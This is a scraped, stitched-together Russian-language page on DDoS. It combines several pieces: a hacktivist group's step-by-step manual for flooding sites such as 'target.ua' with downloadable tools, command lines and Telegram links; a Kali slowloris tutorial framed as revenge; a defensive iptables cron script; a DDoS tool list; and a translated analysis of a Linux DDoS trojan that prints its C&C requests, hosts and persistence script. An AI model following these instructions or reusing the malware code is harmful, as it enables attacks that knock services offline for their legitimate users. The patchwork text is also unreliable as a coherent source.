Root ddos

Root ddos Техника

Время на прочтение

Статья последний раз была обновлена 04.03.2023

Инструменты DDoS способны создавать большие нагрузки на HTTP-серверы и ставить их на колени, исчерпывая ресурсы.

Содержание
  1. Общая защита от атаки DDoS
  2. Что такое DDoS-атака?
  3. DDoS — и что это?
  4. Комплексная инструкция для проведения DDoS- атак
  5. Настройка VPN
  6. DDoS с компьютера
  7. a) Инструкция по использованию скриптов (VPN не нужен)
  8. b) Инструкция по использованию скриптов для автодоса (VPN также не нужен)
  9. с) Инструкция по python-DDOS ca.py
  10. DDoS с телефона
  11. Приложение №1
  12. Приложение №2
  13. DDoS с браузера
  14. Как сделать DDOS-атаку с помощью Kali Linux?
  15. Немного о DDOS-атаке:
  16. Об инструменте для проведения DDOS-атаки:
  17. Step 1:
  18. Шаг 2:
  19. Шаг 3:
  20. Как остановить DDOS атаку на сайт:
  21. Top DDoS Attack Online Tools, Software, Websites
  22. 1) DDoS Attack
  23. 2) PRTG
  24. 3) LOIC (Low Orbit ION cannon)
  25. 4) HOIC (High Orbit ION cannon)
  26. 5) Sucuri
  27. 6) HTTP Unbearable Load King (HULK)
  28. 7) DDoSIM (DDoS Simulator)
  29. 8) PyLoris
  30. 9) OWASP HTTP POST
  31. 10) RUDY
  32. 11) Tor’s Hammer
  33. 12) DAVOSET
  34. 13) GoldenEye
  35. FAQ
  36. Top DDoS Attack Online Tools, Software, Websites
  37. Скрипт установки и вектор заражения
  38. Структура и живучесть
  39. LKM Руткит
  40. C&C связи
  41. Какой он вообще бывает, дедос
  42. Пара слов о векторах атак
  43. Краткий пересказ всех частей
  44. Как выполнить атаку DDoS на сайт?
  45. Атаки сетевого уровня (L3)
  46. О чем длиннопост?
  47. Примеры DDoS-атак разных уровней
  48. В качестве заключения

Общая защита от атаки DDoS

  • Снижение скорости подключения IP.
  • Используйте IDS, брандмауэры веб-приложений.
  • Tweak Connection для IP-порога.
  • Подключить свой сайт к сервису CloudFlare.
  • Как вариант, можно перейти на хостинг с услугой защиты от взлома.

IT-специалист широкого профиля, в настоящее время занимаюсь разработкой и преимущественно продвижением веб-сайтов (SEO, SEM, SMO, SMM).

Что такое DDoS-атака?

Тип атаки, при которой несколько скомпрометированных систем атакуют одну цель, которая запрещает доступ к службе законных пользователей целевой системы. Положить сервер? Да, это именно об этом.

Этот короткий мануал разбирает выполнение DDoS-атаки с помощью встроенных инструментов Kali Linux, популярной системы для проведения тестов на безопасность. Ключевое слово — тестов! Материал предназначен для расширения кругозора, а не нанесения реального ущерба или иной противоправной деятельности.

  1. EtherApe — графический сетевой монитор, который наглядно отображает сетевую активность. Хосты и ссылки изменяются по размеру с трафиком. Отображаются цветные протоколы.
  2. Tor — позволяет устанавливать анонимное сетевое соединение, то-есть не раскрывает ваш истинный IP-адрес. Штука общеизвестная и не нуждается в особом представлении.
  3. ProxyChains — утилита, которая направляет ваш TCP-трафик через различные прокси-серверы, включая TOR, SOCKS и HTTP.
  4. GoldenEye — приложение, написанное на языке Python и предназначенное для тестирования серверов на предмет уязвимости к DDoS-атакам. Не сработает на защищенных серверах и серверах за WAF, это надо понимать. По умолчанию не входит в дистрибутив Kali Linux, устанавливается отдельно.

DDoS — и что это?

DoS (от англ. Denial of Service: отказ в обслуживании) – атака на вычислительную систему, целью которой является отказ системы в обслуживании, то есть создание таких условий, при которых легальные пользователи системы не могут получить доступ к системным ресурсам либо этот доступ существенно затруднен.

DDoS (Distributed DoS: распределённый DoS) – разновидность DoS-атаки, реализующая отказ системы в обслуживании посредством исчерпания тех или иных вычислительных ресурсов самой атакуемой системы или внешних сервисов, от функционирования которых зависит работа атакуемой системы (транзитные операторы связи, источники данных и т. д.).

Целью DoS/DDoS-атак является блокировка возможности сервиса адекватно и своевременно реагировать на запросы настоящих, легитимных клиентов, вплоть до полной невозможности работы с сервисом. Причинами атаки могут быть: недобросовестная конкуренция; хактивизм — когда атакующий в большей степени мотивирован идеологическими разногласиями; вымогательство; шпионаж; политические мотивы в качестве самовыражения и т.д., а также маскировка работ по проникновению в инфраструктуру (отвлечение внимания на факт атаки, чтобы скрыть какие-то иные шумные «работы» по проникновению).

Комплексная инструкция для проведения DDoS- атак

Cyber Ice Убийца Сетей

В данной инструкции разберем варианты проведения DDoS-атак с различных устройств. При возникновении трудностей по эксплуатации инструментов, вы можете писать в чат техподдержки, в который вы можете попасть через https://t.me/CyberArmyInvite_bot

Настройка VPN

Для ПК можно использовать ProtonVPN, который устанавливается с их официального сайта https://protonvpn.com/

Ссылки для скачивания VPN на Android

DDoS с компьютера

a) Инструкция по использованию скриптов (VPN не нужен)

Ссылка на скрипт: https://t.me/CyberArmyofRussia_Reborn/359

1)Запустите консоль из под администратора и перейдите в директорию со скриптом. Для этого:

I. Зайдите в пуск и введите в поиске cmd

II. Перейдите к расположению файла «Командная строка» и выполните

аналогичное действие в появившемся окне

Root ddos
Root ddos

III. Скопируйте файл cmd.exe в папку с со скриптом

IV. Запустите cmd.exe от имени администратора

manual_ddos_windows.exe GET https://target.ua 4 proxy.txt 50 7200 debug=6

Подробнее о команде ddos.exe GET target.ua 4 100 proxy.txt 50 7200 debug=6

GET — тип атаки

target.ua — цель (обязательно указываем протокол http или https)

4 — тип прокси(4 — SOCKS4, 5 — SOCKS5, 1 — http)

100 — количество потоков

proxy.txt — параметр по дефолту, скачивает файл с прокси листами

50 — интенсивность

7200 — время доса в секундах

debug=6 — параметр, чтобы видеть процесс доса

Ссылка на скрипт: https://t.me/CyberArmyofRussia_Reborn/359

1)Запустите консоль и перейдите в директорию со скриптом.

2) Система может запросить права на исполнение скрипта, для этого нужно ввести команду

sudo chmod 777 manual_ddos_linux

3)Вводим следующую команду:

sudo ./manual_ddos_linux GET https://target.ua 1 100 proxy.txt 50 100 debug=6

Root ddos

Скидываю также ссылку на github проекта https://github.com/MHProDev/MHDDoS

b) Инструкция по использованию скриптов для автодоса (VPN также не нужен)

1)Запустите консоль из под администратора и перейдите в директорию со скриптом. Для этого:

I. Зайдите в пуск и введите в поиске cmd

II. Перейдите к расположению файла «Командная строка»

III. Скопируйте файл cmd.exe в папку с со скриптом

IV. Запустите cmd.exe от имени администратора

autoddos_windows.exe

1)Запустите консоль из под админа и перейдите в директорию со скриптом

2) Система может запросить права на исполнение скрипта, для этого нужно ввести команду

sudo chmod 777 autoddos_linux

3)Вводим следующую команду:

sudo ./autoddos_linux

Root ddos

с) Инструкция по python-DDOS ca.py

  1. Установить python3
  2. Ввести команду:

python3 -m pip install requests socket socks time random threading sys ssl datetime

В папке с ca.py открыть командную строку

python3 ca.py

  1. Установить python3

sudo apt install python3

2. pip3 install requests socket socks time random threading sys ssl datetime

В папке с ca.py открыть командную строку, повершел или терминал.

python3 ca.py

Далее пишем все как на скрине:

Root ddos

Режим-put Ссылка (это тот ip)

Далее нажимаем энтер до того как спросит о потоках.

В потоках стоит вписать меньше (начните с 5 или 10) и постепенно увеличивать, если можете потянуть.

Далее на все нажимаем энтер

И в результате должно быть:

Root ddos

Ссылка на скрипт: https://t.me/CyberArmyofRussia_Reborn/6

DDoS с телефона

Приложение №1

Root ddos
Root ddos

Приложение №2

  1. Скачать и установить apk для DDoS
Root ddos

2. В поле ip вписываем IP-adress или в поле URL вписываем сайт с указанием протокола (http или https) и нажимаем Lock on

3. Метод выбираем HTTP

4. Нажимаем FIRE

DDoS с браузера

https://no-nazi.ru/— запустите и просто наблюдайте за проведением DDoSа

https://t.me/CyberArmyofRussia/125 — откройте файл, введите ресурс и нажмите старт

Как сделать DDOS-атаку с помощью Kali Linux?

Buratinopol
Root ddos

Приятного прочтения!

В этом жестоком мире все мы думаем о том, чтобы отомстить нашему врагу. В реальном мире мы используем броню или другие способы отомстить, но в виртуальном мире интернета хакеры используют DDOS-атаку, чтобы отомстить кому-то. Прежде чем начать учебник, давайте немного узнаем о DDOS-атаке.

Немного о DDOS-атаке:

На первом этапе DDOS-атака использовалась в тестировании на проникновение, где тестеры пера использовали эту технику для стресс-тестирования веб-сайта, чтобы проверить емкость веб-сайта, сколько трафика он может принять.  Аноним сначала представил его как атаку и начал использовать его для мести и назвал его распределенной атакой отказа в обслуживании. Сейчас многие хакеры используют эту атаку для мести или по другой причине.

Об инструменте для проведения DDOS-атаки:

Есть много инструментов, доступных в интернете, но в этом уроке мы будем использовать инструмент под названием pentmenu. Причина выбора этого инструмента заключается в том, что он проще в использовании, чем другие инструменты, и это делает его лучшим инструментом для начинающих. Этот инструмент предоставляет упорядоченное меню для сетевой разведки и DDOS-атак. Многие модули доступны как для сетевой разведки, так и для DDOS-атак. Итак, давайте начнем учебник.

Step 1:

Загрузите/клонируйте и установите инструмент с GitHub. Ссылка приведена ниже. GitHub — GinjaChris/pentmenu: bash-скрипт для разведки и DOS-атак. Чтобы клонировать инструмент с помощью терминала на вашем компьютере Kali Linux, введите команду git clone «скопированный URL» без запятых. Если вы не указали путь, по умолчанию он будет загружен в корневой каталог. Чтобы загрузить файл на рабочий стол, просто введите cd Desktop и нажмите Enter, затем клонируйте файл.

Root ddos
Cracker’s Tutorial: How To Do DDOS Attack using Kali Linux?-crackitdown

Шаг 2:

Теперь введите ls и нажмите enter, чтобы развернуть файл на терминале. Здесь вы увидите скрипт под названием pentmenu. Теперь введите . / pentmenu и нажмите enter, чтобы выполнить скрипт.

Root ddos
Учебник взломщика: как сделать DDOS-атаку с помощью Kali Linux?- разгон мятежников

Если вы устанавливаете файл с помощью корневой учетной записи, то его цвет будет желтым, а если вы не используете учетную запись, то его цвет будет таким же, как цвет терминала по умолчанию. В этом случае вы должны предоставить корневой доступ к инструменту. Чтобы дать root доступ дайте команду

Шаг 3:

После выполнения скрипта вы увидите опции recon и dos. Выберите dos и нажмите enter.

Root ddos
Учебник взломщика: как сделать DDOS-атаку с помощью Kali Linux?- разгон мятежников

Теперь вы увидите множество вариантов DOS-атаки. Здесь мы будем использовать атаку slowloris. Теперь он запросит адрес назначения. Введите URL-адрес веб-сайта и нажмите enter. Он начнет отправлять полезные грузы на целевой сайт.

Root ddos
Учебник взломщика: как сделать DDOS-атаку с помощью Kali Linux?- разгон мятежников

Поздравляю, вы успешно отомстили!

Как остановить DDOS атаку на сайт:

Те, кто был атакован этой техникой, возможно, захотят узнать, как защитить свой сайт от DDOS-атаки, а также вы, хакеры, должны это знать. Здесь мы поговорим об услуге, которая предлагает как бесплатные, так и платные услуги.

Root ddos
Учебник взломщика: как сделать DDOS-атаку с помощью Kali Linux?- разгон мятежников
Root ddos

SOFTWARE хранилище приватных софтов и прочей годноты. Подпишись!

CODINGпрограммирование доступным языком.

Termux — one — гайды и статьи по Termux.

Время на прочтение

Доброго времени суток!

Совсем недавно столкнулся с такой проблемой, как DDoS. Сразу скажу, я вообще ни разу не линуксоид, но зато чуточку программист, так что все что ниже, основано чисто на логике, а не на фактах, плюс переписанное с некоторыми добавками от уже известного.

Перекопав полчища статей и опробовав множество вариантов, так и не нашел, что помогло бы с защитой. Взяв за основу статьи Простой и эффективный метод отразить http DDoS от 50мбит с помощью nginx и iptables и (D)DoS Deflate решил написать свой скрипт. Ну вернее не решил, а методом тыка и исправлений он получился сам.

Должен заметить, что статья от Алексея Кузьмина не идеальна, т.к. в логах nginx`a не достаточно копаться, да и обработка логов может потребовать много ресурсов. А именно в моем случае создавались логи более 50 Гиг, плюс запросы шли не «GET / HTTP/1.1», а «GET / HTTP/1.0», плюс, как оказалось, мой сервер сам от себя получал редиректы (127.0.0.1), которые не отображались в логах, которые отображались в запросе

netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n


Суть скрипта такова, что через определенное время кроном запускается скрипт и проверяет все соединения с сервером, ip и кол-во их соединений которые записываются в файл. Потом запускается другой скрипт, который смотрит, если соединения, превышают заданное число (у меня стоит 20), то создается скрипт с блокировкой этих айпишников через iptables.

Я создавал отдельные файлы, чтобы прослеживать весь ход работы отдельно, и по своей некомпетентности, легко было обнаружить где и что не срабатывало.

Теперь к практике:
создаем каталог, где будет скрипт

mkdir /usr/local/ddos

в нем создаем файл ddos.sh и меняем его права:

chmod 0755 /usr/local/ddos/ddos.sh

записываем в него:

#!/bin/sh

# находим все соединения и записываем их во временный файл ddos.iplist в каталоге tmp
netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n > /tmp/ddos.iplist

# очищаем скрипт бана айпишников
cat /dev/null > /tmp/iptables_ban.sh

# создаем DROP правила для 50 самых агрессивных ботов
awk '{if ($1 > 20) {print "/sbin/iptables -I INPUT -p tcp --dport 80 -s " $2 " -j DROP" }}' /tmp/ddos.iplist >> /tmp/iptables_ban.sh

# следующая строка нужна только для того, чтобы создавался файл с просмотром всех правил iptables
echo "/sbin/iptables -L INPUT -v -n > /tmp/iptables.log" >> /tmp/iptables_ban.sh

# запускаем скрипт бана айпишников
bash /tmp/iptables_ban.sh

# делаем ротацию лога
cat /dev/null > /var/log/ddos/error.log
[ ! -f /var/run/nginx.pid ] || kill -USR1 `cat /var/run/nginx.pid`

Вот в принципе и все. Теперь запускаем кронтаб, предпочитаю команду:

EDITOR=mcedit crontab -e

ну или просто

crontab -e

и добавляем новую задачу в него, выполняющуюся каждые 10 минут:

*/10 * * * * /bin/sh /usr/local/ddos/ddos.sh

Также я изменил ротацию логов в файле /etc/logrotate.d/nginx от nginx`a, чтобы многогиговые файлы не создавались

/var/log/nginx/*.log {
	daily
	size 20M
	missingok
	rotate 150
	compress
	delaycompress
	notifempty
	create 640 root adm
	sharedscripts
	postrotate
		[ ! -f /var/run/nginx.pid ] || kill -USR1 `cat /var/run/nginx.pid`
	endscript
}

и записал еще задачу в крон, выполняющуюся каждый час

0 * * * * /usr/sbin/logrotate /etc/logrotate.conf

ну и для больше комфорта еще и раз в сутки решил перезагружать сервак, опять же через крон:

0 4 * * * /sbin/reboot

общий список заданий, выведенный через crontab -l:

*/10 * * * * /bin/sh /usr/local/ddos/ddos.sh
0 * * * * /usr/sbin/logrotate /etc/logrotate.conf
0 4 * * * /sbin/reboot

я записывал все под пользователем root, поэтому если вы не под этим пользователем, перед каждой командой стоит добавить root, типа:

*/10 * * * * root /bin/sh /usr/local/ddos/ddos.sh

Все пути делал абсолютными, т.к. не все команды без полного пути срабатывали.

Дополнительно:  Что дает root для android

Надеюсь кому-нибудь пригодится данная статейка. Прошу строго не судить по самому коду, т.к. я вообще впервые сам что-то делал на серваке )

DDoS Attack

DDoS Attack is a tool that can be used to perform a Distributed Denial of Service attack. This application can monitor the event log from numerous sources to find and detect DDoS activities.


Visit DDoS Attack

Top DDoS Attack Online Tools, Software, Websites

1) DDoS Attack

DDoS Attack is a tool that can be used to perform a Distributed Denial of Service attack. This application can monitor the event log from numerous sources to find and detect DDoS activities.

#1 Top Pick

DDoS Attack

Investigate the breach with forensics tools

Supported Platform: Linux + Windows

Free Trial: 30 Days Free Trial


Visit DDoS Attack

  • This application can detect communication with control servers and commands.
  • Respond in real time with rule-based event correlation
  • You can easily filter specific timeframes, IPs, or parameters.
  • The tool helps you to detect malicious activity between the command and control server.
  • Investigate the breach with forensics tools

Get Free Now >>

30 Days Free Trial


2) PRTG

PRTG network monitoring software is known for its advanced infrastructure management capabilities. The tool monitors IT infrastructure using technologies like SNMP, WMI, Sniffing, REST APIS, SQL and others.

  • PRTG can scan network segments by pinging defined IP ranges
  • Helps you to create web pages with up-to-date monitoring data in the desired design
  • Easy and flexible alerting
  • Multiple User Interfaces
  • Alerts you when it sees warnings or unusual metrics in your network.

Get Free Now >>

30 Days Free Trial


3) LOIC (Low Orbit ION cannon)

LOIC (Low Orbit ION cannon) is open-source software use for DDoS attack. This ddos tool is written in C#. This tool sends HTTP, TCP, and UDP requests to the server.

Low Orbit ION cannon

  • LOIC is one of the free ddos attack tools which helps you to test the performance of the network.
  • It enables you to create a DDoS attack online against any site that they control.
  • Loic does not hide an IP address even if the proxy server is not working.
  • It helps you to perform stress testing to verify the stability of the system.
  • This ddos software can be used to identify ddos programs that may be used by hackers to attack a computer network.

4) HOIC (High Orbit ION cannon)

High Orbit Ion Cannon is a free denial-of-service attack tool. It is designed to attack more than one URLs at the same time. This ddos tool helps you to launch DDoS attacks using HTTP (Hypertext Transfer Protocol).

High Orbit ION cannon

  • You can attack up to 256 ddos websites at once.
  • It has a counter that helps you to measure the output.
  • This DDoS machine free tool can be ported over to Linux or Mac OS.
  • You can choose the number of threads in the current attack.
  • HOIC enables you to control attacks with low, medium, and high settings.

5) Sucuri

Sucuri uses advanced technology software like Web Application Firewall ( WAF) and Intrusion Prevention System ( IPS) to provide protection against DdoS Attacks. They constantly regulate your website traffic and rankings while increasing your website performance.

  • They block layers 3, 4, and 7 DDoS attacks.
  • It provides Malware and Hacks protection with a Web Application Firewall ( WAF )
  • They constantly regulate all the patch updates and server rules that protect your website.
  • They provide Protect Page Feature, which you can enable on certain sensitive websites by adding passwords, CAPTCHA, 2FA, etc.
  • It has an easy set-up as it only requires web server credentials and a DNS change.

Get Free Now >>

30-day money-back guarantee


6) HTTP Unbearable Load King (HULK)

HTTP Unbearable Load King (HULK) is a web server DDoS tool. It is one of the free ddos attack tools specifically used to generate volumes of traffic at a webserver.

HTTP Unbearable Load King

  • It can bypass the cache server.
  • This tool helps you to generate unique network traffic.
  • HTTP Unbearable Load King (HULK) can be easily used for research purposes.

Link: https://packetstormsecurity.com/files/112856/HULK-Http-Unbearable-Load-King.html


7) DDoSIM (DDoS Simulator)

DDoSIM (DDoS Simulator) is a tool that is used to create a distributed denial-of-service attack against a target server. It is written in C++ and can be used on the Linux operating system.

DDoSIM

  • This ddos tool indicates the capacity of the server to handle application-specific DDOS attacks.
  • It enables you to create full TCP connections to the target server.
  • DDoSIM provides numerous options to perform a network attack.
  • TCP connections can be flooded on a random network port.

8) PyLoris

PyLoris is a software product for testing network vulnerability by performing Distributed Denial of Service (DDoS) attack online. It helps you to manage ddos online and control poorly manage concurrent connections.

PyLoris

  • It provides easy to use GUI (Graphic User Interface).
  • This tool enables you to attack using HTTP request headers.
  • It has the latest codebase (collection of source code used to build a particular software system).
  • You can run PyLoris using Python script.
  • This tool supports Windows, Mac OS, and Linux.
  • It provides an advanced option having a limitation of 50 threads, each with a total of 10 connections.

9) OWASP HTTP POST

The OWASP (Open Web Application Security Project) HTTP Post software enables you to test your web applications for network performance. It helps you to conduct denial of service from a single DDoS machine online.

OWASP HTTP POST

  • It allows you to distribute and transmit the tool with others.
  • You can freely use this tool for commercial purposes.
  • OWASP HTTP POST helps you to share the result under the license it provides.
  • This tool enables you to test against the application layer attacks.
  • It helps you to decide the server capacity.

10) RUDY

RUDY is a short form of R-U-Dead-Yet. It is one of the free ddos attack tools that helps you to perform the DDoS attack online with ease. It targets cloud applications by starvation of sessions available on the web server.

RUDY

  • This is a simple and easy tool.
  • It automatically browses the target ddos website and detects embedded web forms.
  • R-U-Dead-Yet enables you to conduct HTTP DDoS attack using long-form field submission.
  • This tool provides an interactive console menu.
  • This DDoS free attack tool automatically identifies form fields for data submission.

11) Tor’s Hammer

Tor’s hammer is an application-layer DDoS software program. You can use this ddos online tool to target web applications and a web server. It performs browser-based internet request that is used to load web pages.

Tor's Hammer

  • It allows you to create rich text markup using Markdown (a plain text formatting syntax tool).
  • Tor’s Hammer automatically converts the URL into links.
  • This app uses web server resources by creating a vast number of network connections.
  • You can quickly link other artifacts in your project.
  • It holds HTTP POST requests and connections for 1000 to 30000 seconds.

12) DAVOSET

DAVOSET is software for committing DDOS attacks via abuse of any website functionality. This command line tool helps you to commit distributed denial of service attacks without any hassle.

DAVOSET

  • It is one of the ddos tools that provides support for cookies.
  • This DDoS attack for free software provides a command-line interface to perform an attack.
  • DAVOSET can also help you to hit attack using XML external entities (attack against an app that parses XML input).

13) GoldenEye

GoldenEye tool conducts a DDoS attack by sending an HTTP request to the server. It utilizes a KeepAlive message paired with cache-control options to persist socket connection busting.

GoldenEye

  • This tool consumes all the HTTP/S sockets on the application server for the DDoS attack.
  • It is one of the ddos tools which is easy to use app written in Python.
  • Arbitrary creation of user agents is possible.
  • This DDoS program randomizes GET, POST to get the mixed traffic.

FAQ

Top DDoS Attack Online Tools, Software, Websites

Время на прочтение

Предлагаю вниманию читателей «Хабрахабра» перевод статьи «Linux DDoS Trojan hiding itself with an embedded rootkit» из блога антивирусной компании Avast.

Скрипт установки и вектор заражения

В запросе ниже параметр iid — это MD5-хэш от имени версии ядра. Сначала скрипт перечисляет все модули, работающие в текущей системе с помощью команды lsmod. Затем он берет последний и извлекает свое имя и параметр vermagic. В одном из наших случаев среда тестирования работает под «3.8.0-19-generic\SMP\mod_unload\modversions\686\», который имеет MD5-хэш, равную CE74BF62ACFE944B2167248DD0674977.

Три GET-запроса отправляются на C&C. Первой выполняется процедура check:

request:
GET /check?iid=CE74BF62ACFE944B2167248DD0674977&kernel=3.8.0reply:
1001|CE74BF62ACFE944B2167248DD0674977|header directory is exists!

Затем процедура compiler отправляет еще один GET-запрос, в котором такие параметры как C&C servers, version infо и т.д. передаются на сервер, где они собраны в недавно созданный исполняемый файл:

request:
GET /compiler?iid=CE74BF62ACFE944B2167248DD0674977&username=admin
&password=admin&ip=103.25.9.245:8005%7C103.240.141.50:8005%7C
66.102.253.30:8005%7Cndns.dsaj2a1.org:8005%7Cndns.dsaj2a.org:8005%7C
ndns.hcxiaoao.com:8005%7Cndns.dsaj2a.com:8005
&ver=3.8.0-19-generic%5C%20SMP%5C%20mod_unload%5C%20modversions%5C%20686%5C%20
&kernel=3.8.0
reply:
1001|CE74BF62ACFE944B2167248DD0674977|header directory is exists!

Наконец, третий GET-запрос загружает адаптированную версию исполняемого файла трояна, запакованную в gzip-архив, который распаковывается и запускается:

request:
GET /upload/module/CE74BF62ACFE944B2167248DD0674977/build.tgz
reply:
1001|CE74BF62ACFE944B2167248DD0674977|create ok

Предыдущие шаги выполняются только в том случае, если уже есть собранная версия для текущей версии ядра на сервере. Если нет, сценарий находит заголовочные файлы ядра в директории /lib/modules/%s/build/, где %s означает возвращаемое значение после выполнения команды uname -r, затем упаковывает все файлы и загружает их на сервер C&C, используя специальный загрузчик, названный mini. Это первый сценарий.

Компоненты руткита являются загружаемыми модулями ядра (LKM). Для успешной установки их в системе, значение vermagic LKM необходимо согласовать с версией заголовочных файлов ядра, установленных в пользовательской системе. Именно в этом смысл всех предыдущих шагов установки. Если предыдущие последовательности потерпели неудачу, скрипт устанавливает троян без компонентов руткита.

Структура и живучесть

Двоичная структура основного исполняемого файла следующая:

Root ddos

Живучесть трояна достигается несколькими способами. Во-первых, он устанавливается в каталог /boot/ с именем, содержащим случайную строку из 10 символов. Затем скрипт с идентичным именем создается в каталоге /etc/init.d/. Вместе с пятью символическими ссылками, указывающими на скрипт, созданный в /etc/rc%u.d/S90%s, где %u перечисление от 1 до 5, а %s заменяется рандомным именем файла трояна. Кроме того, скрипт добавляет файл /etc/cron.hourly/cron.sh со следующим содержимым:

#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin’
for i in `cat /proc/net/dev|grep :|awk -F: {‘,27h,’print $1′,27h,’}`; do ifconfig $i up& done
cp /lib/udev/udev /lib/udev/debug
/lib/udev/debug

Строка «*/3 * * * * root /etc/cron.hourly/cron.sh» добавляется в crontab.

Функциональность основного исполняемого файла заключается в трех бесконечных циклах, ответственных за:

  • Скачивание и выполнение инструкций в конфигурационный файл бота;
  • Переустановка себя как /lib/udev/udev;
  • Выполнение flood-команд.

Файл конфигурации содержит четыре категории списков: md5, denyip, filename и rmfile. Имеется в виду убийство запущенного процесса по его CRC-контрольной сумме, по активным соединениям с IP из списка, по имени файла
и, наконец, удаление файла с определенным именем. На следующем рисунке отображается фрагмент конфигурационного файла (выделены известные имена файлов, с соответствующими троянами).

Root ddos

Убийство процессов или удаление списка процессов, до его установки, типично для троянов.
Кроме того, мы должны отметить, что есть модификация этого трояна, скомпилированного для архитектуры ARM. Это говорит о том, что список потенциально инфицированных систем (кроме 32-х и 64-х Linux веб-серверов и настольных ПК) расширяется на маршрутизаторы, IoT, NAS хранилища или 32-битные сервера ARM (однако, пока это не наблюдалось в природе). Он содержит дополнительную реализацию функцию загрузки-и-выполнения в бесконечном цикле под названием daemondown:

Root ddos

Несколько дней назад наблюдался новый 32-битный вариант данного трояна с некоторыми изменениями. Бот устанавливается как /lib/libgcc4.so файл и уникальный файл, содержащий идентификационную строку в /var/run/udev.pid, скрипт инициализации был в /etc/cron.hourly/udev.sh и функции руткита были полностью опущены. Наличие всех этих файлов может служить индикатором компрометирования.

LKM Руткит

Трояны для платформы Windows использовали различные функции руткита в течении очень долгого времени. Известно, что некоторые трояны имели Windows вариант руткита Агония (Agony rootkit — его исходный код был опубликован в 2006 году). Мы представили исследования, связанные с этим вредоносным DDoS инструментом на Botconf 2014 в обзоре под названием Китайская курица: многоплатформенный-DDoS-ботнет. Теперь есть flood-троян для Linux, который также содержит встроенный руткит. Это основная функциональность, чтобы скрыть различные аспекты деятельности трояна и обеспечить выполнение процедур:

Дополнительно:  Ноутбук выключается во время игры. Что можно сделать?

Root ddos

Троян работает в пользовательском пространстве, запрашивая эти функции от руткита в ядре с помощью команды управления вводом-выводом с определенным кодом (0×9748712). Наличие руткита сначала проверяется, открыв процесс с именем rs_dev:

Root ddos

Собственно, запросу необходимо два параметра: один указывает номер команды, которую будет выполнять руткит, а другой является номером порта, чтобы быть скрытым. Ниже пример того, как троян скрывает порт TCP (обратите внимание на task 3):

Root ddos

Основываясь на именах процедур, вполне вероятно, что авторы вредоносного ПО были вдохновлены проектом с открытым исходным кодом под названием Suterusu, чтоб собрать свой ​​руткит. Троян с прошлого года называется «Рука Вора», он потерпел неудачу в своих амбиций, стать первым банковским трояном для Linux-десктоп. Он также заимствовал часть кода из существующего проекта с открытым исходным кодом, а именно — методов введения процесса. Описание проекта гласит: «LKM руткит для Linux 2.6/3.x на x86(_64) и ARM». В другой статье, связанной с Suterusu, был опубликован в январе 2013 года.

C&C связи

Root ddos

Список C&C-серверов хранится в шелл-скрипте в переменной __remote__. Троян сначала отправляет информацию о работающей системе к серверу C&C (весьма вероятно будет отображаться на панели оператора ботнет). Ответы обычно приходят в виде команды. Заголовок команды длиной 0x1C байт хранится в структуре, называемой Header. Первая команда останавливает любые флуд-атаки и начинает следующую с одним из хостов, представленном в списке. Записи о заголовке приведены ниже. Выделенные параметры размер — это общий размера команды (Size, 0x102C), число задач (Order, 0×3, т.е. _cmd_start в таблице switch), а количество flood задач (Task_Num, 0xf):

Root ddos

Root ddos

Какой он вообще бывает, дедос

DDoS — он такой, разный. Но все ж особой фантастики тут нет, достаточно прозаичные вещи. От L3 (сетевой уровень) до L7 (прикладной). Обычно классифицируют так:

В отдельный подкласс обычно выделяют, так называемые, Amplification-атаки. Их отличительной особенностью является использование промежуточных уязвимых компьютеров для увеличения «плеча» атаки в 2-3 раза. Amplification-атаки классифицируются в зависимости от протокола, используемого для усиления мощности атаки: NTP Amplification, DNS Amplification, SSDP Amplification и подобное.

2.      Атаки на инфраструктуру, целью которых является нарушение нормального (штатного) функционирования промежуточного и служебного оборудования: маршрутизаторов, межсетевых экранов и т.д. В качестве таких атак могут выступать SYN flood, Route Loop DDoS и пр. Кривые анонсы BGP, которые были на слуху, тоже можно отнести к такого типа атакам. Хотя и не всегда они были вызваны злонамеренными действиями, а объяснялись банальной криворукостью.

3.      Атаки на транспортный уровень (L4), в частности, с использованием различных этапов TCP-соединения. Это связано с тем, что протокол TCP достаточно сложен с вычислительной точки зрения и допускает эксплуатацию атакующим ряда узких мест, например, алгоритмов установления и закрытия TCP-соединения. В качестве примеров такой атаки могут выступать SYN Flood, ACK Flood, TCP Connection Flood и подобные. Ну, в целом это наиболее распространенная атака в силу простоты ее реализации.

4.      Атаки на встроенные механизмы протоколов SSL/TLS. Эти протоколы ещё более сложны, чем TCP, поэтому атакующий может ставить своей целью воздействие на них. Например, можно говорить об атаках на сам процесс установки SSL/TLS взаимодействия (TLS handshake), отправке «мусорных» пакетов серверу или злоупотреблении функциями согласования ключевой информации и подобное.

5.      Атаки на сервис прикладного уровня (L7-атаки). Эти атаки взаимодействуют непосредственно с приложением, причём надо отметить, что в последние годы это воздействие распространяется не только на «классический» HTTP, но и на HTTPS, DNS, VoIP, SMTP, FTP и другие прикладные протоколы. В случае c протоколом HTTP, атакующий может дополнительно маскировать свои деструктивные действия внутри SSL/TLS-трафика, что значительно усложняет противодействие. Такие атаки могут подразделяться на следующие виды:

a.      Медленные атаки малого объема, так называемые «Low and Slow». Этот вариант представляет опасность в силу малой заметности и продолжительного времени нарастания зловредного воздействия. Обычно здесь речь идет о воздействии на приложения и иногда на серверные ресурсы;

b.      Атаки, основанные на значительном числе произвольных «мусорных» запросов. Целью таких атак обычно является мощный «кумулятивный» удар по системе, вследствие которого она долгое время не сможет обрабатывать запросы от легитимных пользователей. Характерным примером является атака типа WordPress Pingback DDoS. Хотя эта атака однозначно обнаруживается и фильтруется по типовым HTTP-заголовкам, тем не менее, она может составлять серьёзную проблему для атакуемого ресурса, поскольку полоса такой атаки может достигать десятков Гбит/с и в состоянии превысить показатели по доступности канальной ёмкости и производительности HTTP-сервера;

c.      Атаки, имитирующие поведение легитимного пользователя. В отличие от предыдущей разновидности, такие атаки используют большое количество неагрессивных ботов, что затрудняет анализ в режиме реального времени. Зачастую эти механизмы используют «узкие места» или уязвимости в web-приложениях и остальной инфраструктуре. Это может привести к несанкционированному доступу к системе, потерям и несанкционированным изменениям данных. Для обнаружения «узких мест» атакующий может использовать сканирование сети – действие, которое, на первый взгляд, представляется безвредным, поскольку само по себе не приносит урона, но на самом деле позволяет получить информацию, которая поможет в дальнейшем атаковать систему.

Пара слов о векторах атак

